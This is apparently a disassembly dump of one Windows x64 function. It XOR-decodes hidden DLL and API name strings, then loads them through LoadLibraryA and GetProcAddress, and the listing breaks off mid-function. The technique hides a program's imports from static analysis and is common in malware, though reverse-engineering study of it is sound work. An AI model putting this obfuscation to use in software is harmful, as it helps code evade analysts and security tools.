Function at 0x140074c60
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x130]
sub rsp, 0x230
cmp byte [0x140245850], 0
jne 0x14007775b
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov ecx, 0x18e8
mov eax, dword [rcx + rbx]
mov edi, 0x1b58
add rdi, rbx
test al, 1
jne 0x140074cd4
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + 0xa], 0x13929c5
mov dword [rdi], 0x2bdbd45e
mov dword [rdi + 4], 0xbbc6475c
mov word [rdi + 8], 0xd51b
lea rcx, [0x1401c5130]
call fcn.14018ede0
nop
cmp byte [rdi + 0xd], 0
je 0x140074d11
xor byte [rdi], 0x35
xor byte [rdi + 1], 0xb1
xor byte [rdi + 2], 0xa9
xor byte [rdi + 3], 0x45
xor byte [rdi + 4], 0x39
xor byte [rdi + 5], 0x2b
xor byte [rdi + 6], 0xf5
xor byte [rdi + 7], 0x89
xor byte [rdi + 8], 0x35
xor byte [rdi + 9], 0xb1
xor byte [rdi + 0xa], 0xa9
xor byte [rdi + 0xb], 0x45
xor byte [rdi + 0xc], 0x39
mov byte [rdi + 0xd], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140245858], rax
test rax, rax
je 0x140077770
mov ecx, 0x1ad4
mov eax, dword [rcx + rbx]
mov edx, 0x17a0
test al, 1
jne 0x140074d71
or eax, 1
mov dword [rcx + rbx], eax
lea rdi, [rdx + rbx]
mov word [rdi + 0xb], 0x1d3
mov dword [rdi], 0xa3befb26
mov dword [rdi + 4], 0x715b7a07
mov word [rdi + 8], 0xe521
mov byte [rdi + 0xa], 0xab
lea rcx, [0x1401c5110]
call fcn.14018ede0
nop
jmp 0x140074d75
lea rdi, [rdx + rbx]
cmp byte [rdi + 0xc], 0
je 0x140074dae
xor byte [rdi], 0x45
xor byte [rdi + 1], 0x89
xor byte [rdi + 2], 0xc7
xor byte [rdi + 3], 0xd3
xor byte [rdi + 4], 0x73
xor byte [rdi + 5], 0x49
xor byte [rdi + 6], 0x69
xor byte [rdi + 7], 0x5f
xor byte [rdi + 8], 0x45
xor byte [rdi + 9], 0x89
xor byte [rdi + 0xa], 0xc7
xor byte [rdi + 0xb], 0xd3
mov byte [rdi + 0xc], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140245860], rax
test rax, rax
je 0x140077770
mov ecx, 0x1ad8
mov eax, dword [rcx + rbx]
mov edx, 0x19b0
test al, 1
jne 0x140074e05
or eax, 1
mov dword [rcx + rbx], eax
lea rdi, [rdx + rbx]
mov dword [rdi + 8], 0x11de78b
mov dword [rdi], 0xf778f892
mov dword [rdi + 4], 0xfffba79c
lea rcx, [0x1401c50e0]
call fcn.14018ede0
nop
jmp 0x140074e09
lea rdi, [rdx + rbx]
cmp byte [rdi + 0xb], 0
je 0x140074e3e
xor byte [rdi], 0xe7
xor byte [rdi + 1], 0x8b
xor byte [rdi + 2], 0x1d
xor byte [rdi + 3], 0x85
xor byte [rdi + 4], 0xaf
xor byte [rdi + 5], 0x95
xor byte [rdi + 6], 0xd5
xor byte [rdi + 7], 0x9b
xor byte [rdi + 8], 0xe7
xor byte [rdi + 9], 0x8b
xor byte [rdi + 0xa], 0x1d
mov byte [rdi + 0xb], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140245868], rax
test rax, rax
je 0x140077770
mov ecx, 0x1b0c
mov eax, dword [rcx + rbx]
mov edx, 0x1840
test al, 1
jne 0x140074e98
or eax, 1
mov dword [rcx + rbx], eax
lea rdi, [rdx + rbx]
mov word [rdi + 9], 0x13b
mov dword [rdi], 0xcaf85fe0
mov dword [rdi + 4], 0xa5133577
mov byte [rdi + 8], 0xeb
lea rcx, [0x1401c50c0]
call fcn.14018ede0
nop
jmp 0x140074e9c
lea rdi, [rdx + rbx]
cmp byte [rdi + 0xa], 0
je 0x140074ecd
xor byte [rdi], 0x87
xor byte [rdi + 1], 0x3b
xor byte [rdi + 2], 0x91
xor byte [rdi + 3], 0xf9
xor byte [rdi + 4], 0x45
xor byte [rdi + 5], 0x1b
xor byte [rdi + 6], 0x77
xor byte [rdi + 7], 0xc9
xor byte [rdi + 8], 0x87
xor byte [rdi + 9], 0x3b
mov byte [rdi + 0xa], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140245870], rax
test rax, rax
je 0x140077770
mov ecx, 0x17c4
mov eax, dword [rcx + rbx]
mov edx, 0x1900
test al, 1
jne 0x140074f27
or eax, 1
mov dword [rcx + rbx], eax
lea rdi, [rdx + rbx]
mov word [rdi + 9], 0x193
mov dword [rdi], 0x5c1cff3c
mov dword [rdi + 4], 0xede7d39b
mov byte [rdi + 8], 0x3f
lea rcx, [0x1401c50a0]
call fcn.14018ede0
nop
jmp 0x140074f2b
lea rdi, [rdx + rbx]
cmp byte [rdi + 0xa], 0
je 0x140074f5c
xor byte [rdi], 0x53
xor byte [rdi + 1], 0x93
xor byte [rdi + 2], 0x79
xor byte [rdi + 3], 0x6f
xor byte [rdi + 4], 0xa9
xor byte [rdi + 5], 0xfd
xor byte [rdi + 6], 0x83
xor byte [rdi + 7], 0x81
xor byte [rdi + 8], 0x53
xor byte [rdi + 9], 0x93
mov byte [rdi + 0xa], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140245878], rax
test rax, rax
je 0x140077770
mov ecx, 0x18d4
mov eax, dword [rcx + rbx]
mov edx, 0x1bb0
test al, 1
jne 0x140074fb9
or eax, 1
mov dword [rcx + rbx], eax
lea rdi, [rdx + rbx]
mov dword [rdi + 0xa], 0x10f7383
mov dword [rdi], 0x7e99fb1c
mov dword [rdi + 4], 0xff26e07f
mov word [rdi + 8], 0xfb53
lea rcx, [0x1401c5080]
call fcn.14018ede0
nop
jmp 0x140074fbd
lea rdi, [rdx + rbx]
cmp byte [rdi + 0xd], 0
je 0x140074ffa
xor byte [rdi], 0x7d
xor byte [rdi + 1], 0x9f
xor byte [rdi + 2], 0xef
xor byte [rdi + 3], 0x1f
xor byte [rdi + 4], 0xf
xor byte [rdi + 5], 0x89
xor byte [rdi + 6], 0x15
xor byte [rdi + 7], 0xcd
xor byte [rdi + 8], 0x7d
xor byte [rdi + 9], 0x9f
xor byte [rdi + 0xa], 0xef
xor byte [rdi + 0xb], 0x1f
xor byte [rdi + 0xc], 0xf
mov byte [rdi + 0xd], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140245880], rax
test rax, rax
je 0x140077770
mov ecx, 0x18d0
mov eax, dword [rcx + rbx]
mov edx, 0x1958
test al, 1
jne 0x140075051
or eax, 1
mov dword [rcx + rbx], eax
lea rdi, [rdx + rbx]
mov dword [rdi + 8], 0x1bf2f85
mov dword [rdi], 0xdddc339b
mov dword [rdi + 4], 0x31fbf9e5
lea rcx, [0x1401c5050]
call fcn.14018ede0
nop
jmp 0x140075055
lea rdi, [rdx + rbx]
cmp byte [rdi + 0xb], 0
je 0x14007508a
xor byte [rdi], 0xe9
xor byte [rdi + 1], 0x43
xor byte [rdi + 2], 0xbf
xor byte [rdi + 3], 0xaf
xor byte [rdi + 4], 0x91
xor byte [rdi + 5], 0xcd
xor byte [rdi + 6], 0xd5
xor byte [rdi + 7], 0x55
xor byte [rdi + 8], 0xe9
xor byte [rdi + 9], 0x43
xor byte [rdi + 0xa], 0xbf
mov byte [rdi + 0xb], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140245888], rax
test rax, rax
je 0x140077770
mov ecx, 0x1a4c
mov eax, dword [rcx + rbx]
mov edx, 0x19f0
test al, 1
jne 0x1400750e7
or eax, 1
mov dword [rcx + rbx], eax
lea rdi, [rdx + rbx]
mov dword [rdi + 0xa], 0x1bdcf11
mov dword [rdi], 0xc21873bc
mov dword [rdi + 4], 0xcf7c85c8
mov word [rdi + 8], 0x7bfd
lea rcx, [0x1401c5030]
call fcn.14018ede0
nop
jmp 0x1400750eb
lea rdi, [rdx + rbx]
cmp byte [rdi + 0xd], 0
je 0x140075128
xor byte [rdi], 0xd3
xor byte [rdi + 1], 0x1f
xor byte [rdi + 2], 0x7d
xor byte [rdi + 3], 0xa3
xor byte [rdi + 4], 0xbd
xor byte [rdi + 5], 0xf1
xor byte [rdi + 6], 0x4f
xor byte [rdi + 7], 0xfd
xor byte [rdi + 8], 0xd3
xor byte [rdi + 9], 0x1f
xor byte [rdi + 0xa], 0x7d
xor byte [rdi + 0xb], 0xa3
xor byte [rdi + 0xc], 0xbd
mov byte [rdi + 0xd], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140245890], rax
test rax, rax
je 0x140077770
mov ecx, 0x1ae0
mov eax, dword [rcx + rbx]
mov edx, 0x1ba0
test al, 1
jne 0x14007517f
or eax, 1
mov dword [rcx + rbx], eax
lea rdi, [rdx + rbx]
mov dword [rdi + 8], 0x16b492d
mov dword [rdi], 0x52084332
mov dword [rdi + 4], 0xc957327e
lea rcx, [0x1401c5000]
call fcn.14018ede0
nop
jmp 0x140075183
lea rdi, [rdx + rbx]
cmp byte [rdi + 0xb], 0
je 0x1400751b8
xor byte [rdi], 0x41
xor byte [rdi + 1], 0x25
xor byte [rdi + 2], 0x6b
xor byte [rdi + 3], 0xd
xor byte [rdi + 4], 0x11
xor byte [rdi + 5], 0x41
xor byte [rdi + 6], 0x79
xor byte [rdi + 7], 0xad
xor byte [rdi + 8], 0x41
xor byte [rdi + 9], 0x25
xor byte [rdi + 0xa], 0x6b
mov byte [rdi + 0xb], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140245898], rax
test rax, rax
je 0x140077770
mov ecx, 0x16a8
mov eax, dword [rcx + rbx]
mov edx, 0x1758
test al, 1
jne 0x140075219
or eax, 1
mov dword [rcx + rbx], eax
lea rdi, [rdx + rbx]
mov word [rdi + 0xd], 0x165
mov dword [rdi], 0xd6574eb4
mov dword [rdi + 4], 0x9411164e
mov dword [rdi + 8], 0xe84a7f9e
mov byte [rdi + 0xc], 0x52
lea rcx, [0x1401c4fe0]
call fcn.14018ede0
nop
jmp 0x14007521d
lea rdi, [rdx + rbx]
cmp byte [rdi + 0xe], 0
je 0x14007525e
xor byte [rdi], 0xf3
xor byte [rdi + 1], 0x2b
xor byte [rdi + 2], 0x23
xor byte [rdi + 3], 0x85
xor byte [rdi + 4], 0x37
xor byte [rdi + 5], 0x65
xor byte [rdi + 6], 0x65
xor byte [rdi + 7], 0xf1
xor byte [rdi + 8], 0xf3
xor byte [rdi + 9], 0x2b
xor byte [rdi + 0xa], 0x23
xor byte [rdi + 0xb], 0x85
xor byte [rdi + 0xc], 0x37
xor byte [rdi + 0xd], 0x65
mov byte [rdi + 0xe], 0
mov rdx, rdi
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245920], rax
movdqa xmm0, xmmword [0x14021b4c0]
mov ecx, 0x1678
mov eax, dword [rcx + rbx]
mov edi, 0x1af8
test al, 1
jne 0x1400752d5
or eax, 1
mov dword [rcx + rbx], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x11], 1
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xb0]
cmp rax, rdx
ja 0x1400752c1
lea rdx, [rbp + 0xa0]
cmp rcx, rdx
jb 0x1400752c1
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x19
jmp 0x1400752c8
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x19
lea rcx, [0x1401c4fc0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x11], 0
je 0x140075326
xor byte [rdx], 0x19
xor byte [rdx + 1], 0x99
xor byte [rdx + 2], 0x51
xor byte [rdx + 3], 0x23
xor byte [rdx + 4], 0xaf
xor byte [rdx + 5], 0x29
xor byte [rdx + 6], 0x25
xor byte [rdx + 7], 0xcf
xor byte [rdx + 8], 0x19
xor byte [rdx + 9], 0x99
xor byte [rdx + 0xa], 0x51
xor byte [rdx + 0xb], 0x23
xor byte [rdx + 0xc], 0xaf
xor byte [rdx + 0xd], 0x29
xor byte [rdx + 0xe], 0x25
xor byte [rdx + 0xf], 0xcf
xor byte [rdx + 0x10], 0x19
mov byte [rdx + 0x11], 0
mov rcx, qword [0x140245868]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245928], rax
mov ecx, 0x19e8
mov eax, dword [rcx + rbx]
mov edi, 0x1830
test al, 1
jne 0x140075381
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xd], 0x1ab
mov dword [rdi + rbx], 0xe90e76a1
mov dword [rdi + rbx + 4], 0x826ec405
mov dword [rdi + rbx + 8], 0xf2197d8c
mov byte [rdi + rbx + 0xc], 0
lea rcx, [0x1401c4fa0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xe], 0
je 0x1400753c6
xor byte [rdx], 0xe5
xor byte [rdx + 1], 0x13
xor byte [rdx + 2], 0x7d
xor byte [rdx + 3], 0x9d
xor byte [rdx + 4], 0x77
xor byte [rdx + 5], 0xab
xor byte [rdx + 6], 0x17
xor byte [rdx + 7], 0xd5
xor byte [rdx + 8], 0xe5
xor byte [rdx + 9], 0x13
xor byte [rdx + 0xa], 0x7d
xor byte [rdx + 0xb], 0x9d
xor byte [rdx + 0xc], 0x77
xor byte [rdx + 0xd], 0xab
mov byte [rdx + 0xe], 0
mov rcx, qword [0x140245868]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245930], rax
mov ecx, 0x17d4
mov eax, dword [rcx + rbx]
mov edi, 0x1968
test al, 1
jne 0x14007541c
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xa], 0x117421e
mov dword [rdi + rbx], 0x4b12fd08
mov dword [rdi + rbx + 4], 0xbf0e7776
mov word [rdi + rbx + 8], 0xfe23
lea rcx, [0x1401c4f80]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xd], 0
je 0x14007545d
xor byte [rdx], 0x4f
xor byte [rdx + 1], 0x91
xor byte [rdx + 2], 0x7d
xor byte [rdx + 3], 0x29
xor byte [rdx + 4], 0x17
xor byte [rdx + 5], 0x1b
xor byte [rdx + 6], 0x5b
xor byte [rdx + 7], 0xd1
xor byte [rdx + 8], 0x4f
xor byte [rdx + 9], 0x91
xor byte [rdx + 0xa], 0x7d
xor byte [rdx + 0xb], 0x29
xor byte [rdx + 0xc], 0x17
mov byte [rdx + 0xd], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245938], rax
mov ecx, 0x1874
mov eax, dword [rcx + rbx]
mov edi, 0x1820
test al, 1
jne 0x1400754ac
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 8], 0x10b56c6
mov dword [rdi + rbx], 0xa96451e2
mov dword [rdi + rbx + 4], 0x6ae14fa2
lea rcx, [0x1401c4f50]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xb], 0
je 0x1400754e5
xor byte [rdx], 0xa5
xor byte [rdx + 1], 0x3d
xor byte [rdx + 2], 0xb
xor byte [rdx + 3], 0xcb
xor byte [rdx + 4], 0xc3
xor byte [rdx + 5], 0x23
xor byte [rdx + 6], 0xad
xor byte [rdx + 7], 5
xor byte [rdx + 8], 0xa5
xor byte [rdx + 9], 0x3d
xor byte [rdx + 0xa], 0xb
mov byte [rdx + 0xb], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245940], rax
mov ecx, 0x18a0
mov eax, dword [rcx + rbx]
mov edi, 0x1b90
test al, 1
jne 0x140075534
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 8], 0x14968a1
mov dword [rdi + rbx], 0xfd26619c
mov dword [rdi + rbx + 4], 0xb6fcd920
lea rcx, [0x1401c4f20]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xb], 0
je 0x14007556d
xor byte [rdx], 0xdb
xor byte [rdx + 1], 0xd
xor byte [rdx + 2], 0x49
xor byte [rdx + 3], 0x9f
xor byte [rdx + 4], 0x41
xor byte [rdx + 5], 0xb5
xor byte [rdx + 6], 0xaf
xor byte [rdx + 7], 0xdf
xor byte [rdx + 8], 0xdb
xor byte [rdx + 9], 0xd
xor byte [rdx + 0xa], 0x49
mov byte [rdx + 0xb], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245950], rax
mov ecx, 0x17d0
mov eax, dword [rcx + rbx]
mov edi, 0x1b30
test al, 1
jne 0x1400755c3
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xa], 0x16937b6
mov dword [rdi + rbx], 0x26b98ce3
mov dword [rdi + rbx + 4], 0x31ac321d
mov word [rdi + rbx + 8], 0x8ccd
lea rcx, [0x1401c4f00]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xd], 0
je 0x140075604
xor byte [rdx], 0xa7
xor byte [rdx + 1], 0xe9
xor byte [rdx + 2], 0xd5
xor byte [rdx + 3], 0x43
xor byte [rdx + 4], 0x69
xor byte [rdx + 5], 0x57
xor byte [rdx + 6], 0xe3
xor byte [rdx + 7], 0x53
xor byte [rdx + 8], 0xa7
xor byte [rdx + 9], 0xe9
xor byte [rdx + 0xa], 0xd5
xor byte [rdx + 0xb], 0x43
xor byte [rdx + 0xc], 0x69
mov byte [rdx + 0xd], 0
mov rcx, qword [0x140245870]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245948], rax
movdqa xmm0, xmmword [0x14021b580]
mov dword [rbp - 0x60], 0x6a1800a5
mov ecx, 0x1be0
mov eax, dword [rcx + rbx]
mov edi, 0x1a78
test al, 1
jne 0x140075685
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x15], 1
lea rax, [rcx + 0x14]
lea rdx, [rbp - 0x5c]
cmp rcx, rdx
ja 0x14007566b
lea rdx, [rbp - 0x70]
cmp rax, rdx
jb 0x14007566b
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x60]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0xed
jmp 0x140075678
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x60]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0xed
lea rcx, [0x1401c4ee0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x15], 0
je 0x1400756e6
xor byte [rdx], 0xd7
xor byte [rdx + 1], 0x65
xor byte [rdx + 2], 0x79
xor byte [rdx + 3], 7
xor byte [rdx + 4], 0xed
xor byte [rdx + 5], 0x21
xor byte [rdx + 6], 0x11
xor byte [rdx + 7], 0xa3
xor byte [rdx + 8], 0xd7
xor byte [rdx + 9], 0x65
xor byte [rdx + 0xa], 0x79
xor byte [rdx + 0xb], 7
xor byte [rdx + 0xc], 0xed
xor byte [rdx + 0xd], 0x21
xor byte [rdx + 0xe], 0x11
xor byte [rdx + 0xf], 0xa3
xor byte [rdx + 0x10], 0xd7
xor byte [rdx + 0x11], 0x65
xor byte [rdx + 0x12], 0x79
xor byte [rdx + 0x13], 7
xor byte [rdx + 0x14], 0xed
mov byte [rdx + 0x15], 0
mov rcx, qword [0x140245878]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245958], rax
movdqa xmm0, xmmword [0x14021b560]
mov dword [rsp + 0x50], 0xbe9d404b
mov word [rsp + 0x54], 0x57d1
mov ecx, 0x1c00
mov eax, dword [rcx + rbx]
mov edi, 0x1910
test al, 1
jne 0x14007577d
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x16], 1
lea rax, [rcx + 0x15]
lea rdx, [rsp + 0x55]
cmp rcx, rdx
ja 0x14007575d
lea rdx, [rsp + 0x40]
cmp rax, rdx
jb 0x14007575d
movups xmmword [rcx], xmm0
mov eax, dword [rsp + 0x50]
mov dword [rcx + 0x10], eax
movzx eax, word [rsp + 0x54]
mov word [rcx + 0x14], ax
jmp 0x140075770
movups xmmword [rcx], xmm0
mov eax, dword [rsp + 0x50]
mov dword [rcx + 0x10], eax
movzx eax, word [rsp + 0x54]
mov word [rcx + 0x14], ax
lea rcx, [0x1401c4eb0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x16], 0
je 0x1400757df
xor byte [rdx], 0x27
xor byte [rdx + 1], 0x2f
not byte [rdx + 2]
xor byte [rdx + 3], 0xdf
xor byte [rdx + 4], 0xbd
xor byte [rdx + 5], 0x57
xor byte [rdx + 6], 0xe3
xor byte [rdx + 7], 0x93
xor byte [rdx + 8], 0x27
xor byte [rdx + 9], 0x2f
not byte [rdx + 0xa]
xor byte [rdx + 0xb], 0xdf
xor byte [rdx + 0xc], 0xbd
xor byte [rdx + 0xd], 0x57
xor byte [rdx + 0xe], 0xe3
xor byte [rdx + 0xf], 0x93
xor byte [rdx + 0x10], 0x27
xor byte [rdx + 0x11], 0x2f
not byte [rdx + 0x12]
xor byte [rdx + 0x13], 0xdf
xor byte [rdx + 0x14], 0xbd
xor byte [rdx + 0x15], 0x57
mov byte [rdx + 0x16], 0
mov rcx, qword [0x140245878]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245960], rax
movdqa xmm0, xmmword [0x14021aeb0]
mov ecx, 0x16f8
mov eax, dword [rcx + rbx]
mov edi, 0x1a18
test al, 1
jne 0x14007584b
or eax, 1
mov dword [rcx + rbx], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x10], 1
lea rcx, [rax + 0xf]
lea rdx, [rbp + 0x8f]
cmp rax, rdx
ja 0x14007583b
lea rdx, [rbp + 0x80]
cmp rcx, rdx
jb 0x14007583b
movups xmmword [rax], xmm0
jmp 0x14007583e
movups xmmword [rax], xmm0
lea rcx, [0x1401c4e80]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x10], 0
je 0x140075898
xor byte [rdx], 0x5d
xor byte [rdx + 1], 0xd5
xor byte [rdx + 2], 0x3b
xor byte [rdx + 3], 0x89
xor byte [rdx + 4], 0x35
xor byte [rdx + 5], 0x87
xor byte [rdx + 6], 0x63
xor byte [rdx + 7], 7
xor byte [rdx + 8], 0x5d
xor byte [rdx + 9], 0xd5
xor byte [rdx + 0xa], 0x3b
xor byte [rdx + 0xb], 0x89
xor byte [rdx + 0xc], 0x35
xor byte [rdx + 0xd], 0x87
xor byte [rdx + 0xe], 0x63
xor byte [rdx + 0xf], 7
mov byte [rdx + 0x10], 0
mov rcx, qword [0x140245878]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245968], rax
movdqa xmm0, xmmword [0x14021b120]
mov ecx, 0x1814
mov eax, dword [rcx + rbx]
mov edi, 0x1c08
test al, 1
jne 0x14007590c
or eax, 1
mov dword [rcx + rbx], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x11], 1
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xc8]
cmp rax, rdx
ja 0x1400758f8
lea rdx, [rbp + 0xb8]
cmp rcx, rdx
jb 0x1400758f8
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0xbf
jmp 0x1400758ff
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0xbf
lea rcx, [0x1401c4e60]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x11], 0
je 0x14007595d
xor byte [rdx], 0xbf
xor byte [rdx + 1], 0xcf
xor byte [rdx + 2], 0x95
xor byte [rdx + 3], 0xab
xor byte [rdx + 4], 0xf3
xor byte [rdx + 5], 0xd5
xor byte [rdx + 6], 0xb7
xor byte [rdx + 7], 0x4f
xor byte [rdx + 8], 0xbf
xor byte [rdx + 9], 0xcf
xor byte [rdx + 0xa], 0x95
xor byte [rdx + 0xb], 0xab
xor byte [rdx + 0xc], 0xf3
xor byte [rdx + 0xd], 0xd5
xor byte [rdx + 0xe], 0xb7
xor byte [rdx + 0xf], 0x4f
xor byte [rdx + 0x10], 0xbf
mov byte [rdx + 0x11], 0
mov rcx, qword [0x140245868]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245970], rax
mov ecx, 0x1b40
mov eax, dword [rcx + rbx]
mov edi, 0x1bc8
test al, 1
jne 0x1400759a8
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 5], 0x1db
mov dword [rdi + rbx], 0x33ed4678
mov byte [rdi + rbx + 4], 0xe6
lea rcx, [0x1401c4e40]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 6], 0
je 0x1400759cd
xor byte [rdx], 0x3f
xor byte [rdx + 1], 0x23
xor byte [rdx + 2], 0x99
xor byte [rdx + 3], 0x77
xor byte [rdx + 4], 0xa5
xor byte [rdx + 5], 0xdb
mov byte [rdx + 6], 0
mov rcx, qword [0x140245868]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245978], rax
movdqa xmm0, xmmword [0x14021b690]
mov word [rbp + 0x48], 0x86e7
mov ecx, 0x18ec
mov eax, dword [rcx + rbx]
mov edi, 0x1718
test al, 1
jne 0x140075a51
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x13], 1
lea rax, [rcx + 0x12]
lea rdx, [rbp + 0x4a]
cmp rcx, rdx
ja 0x140075a35
lea rdx, [rbp + 0x38]
cmp rax, rdx
jb 0x140075a35
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x48]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0x8d
jmp 0x140075a44
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x48]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0x8d
lea rcx, [0x1401c4e10]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x13], 0
je 0x140075aaa
xor byte [rdx], 0xa3
xor byte [rdx + 1], 0xc5
xor byte [rdx + 2], 0x8d
xor byte [rdx + 3], 0x79
xor byte [rdx + 4], 0xfd
xor byte [rdx + 5], 0x5d
xor byte [rdx + 6], 0x35
xor byte [rdx + 7], 0x95
xor byte [rdx + 8], 0xa3
xor byte [rdx + 9], 0xc5
xor byte [rdx + 0xa], 0x8d
xor byte [rdx + 0xb], 0x79
xor byte [rdx + 0xc], 0xfd
xor byte [rdx + 0xd], 0x5d
xor byte [rdx + 0xe], 0x35
xor byte [rdx + 0xf], 0x95
xor byte [rdx + 0x10], 0xa3
xor byte [rdx + 0x11], 0xc5
xor byte [rdx + 0x12], 0x8d
mov byte [rdx + 0x13], 0
mov rcx, qword [0x140245870]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245980], rax
mov ecx, 0x1bfc
mov eax, dword [rcx + rbx]
mov edi, 0x16e8
test al, 1
jne 0x140075b00
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xa], 0x1a70798
mov dword [rdi + rbx], 0x16976c12
mov dword [rdi + rbx + 4], 0x4b3431c4
mov word [rdi + rbx + 8], 0x6c2b
lea rcx, [0x1401c4df0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xd], 0
je 0x140075b41
xor byte [rdx], 0x41
xor byte [rdx + 1], 9
xor byte [rdx + 2], 0xfb
xor byte [rdx + 3], 0x73
xor byte [rdx + 4], 0xa7
xor byte [rdx + 5], 0x45
xor byte [rdx + 6], 0x7b
xor byte [rdx + 7], 0x29
xor byte [rdx + 8], 0x41
xor byte [rdx + 9], 9
xor byte [rdx + 0xa], 0xfb
xor byte [rdx + 0xb], 0x73
xor byte [rdx + 0xc], 0xa7
mov byte [rdx + 0xd], 0
mov rcx, qword [0x140245870]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245990], rax
mov ecx, 0x1b70
mov eax, dword [rcx + rbx]
mov edi, 0x19c8
test al, 1
jne 0x140075b9b
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x17b
mov dword [rdi + rbx], 0x1930a5fa
mov dword [rdi + rbx + 4], 0x13ec71ac
mov word [rdi + rbx + 8], 0xa6d1
mov byte [rdi + rbx + 0xa], 0x3c
lea rcx, [0x1401c4dd0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xc], 0
je 0x140075bd8
xor byte [rdx], 0xbd
xor byte [rdx + 1], 0xc9
xor byte [rdx + 2], 0x5f
xor byte [rdx + 3], 0x7b
xor byte [rdx + 4], 0xcd
xor byte [rdx + 5], 0x1d
xor byte [rdx + 6], 0xad
xor byte [rdx + 7], 0x7f
xor byte [rdx + 8], 0xbd
xor byte [rdx + 9], 0xc9
xor byte [rdx + 0xa], 0x5f
xor byte [rdx + 0xb], 0x7b
mov byte [rdx + 0xc], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245998], rax
mov ecx, 0x1a30
mov eax, dword [rcx + rbx]
mov edi, 0x1928
test al, 1
jne 0x140075c26
or eax, 1
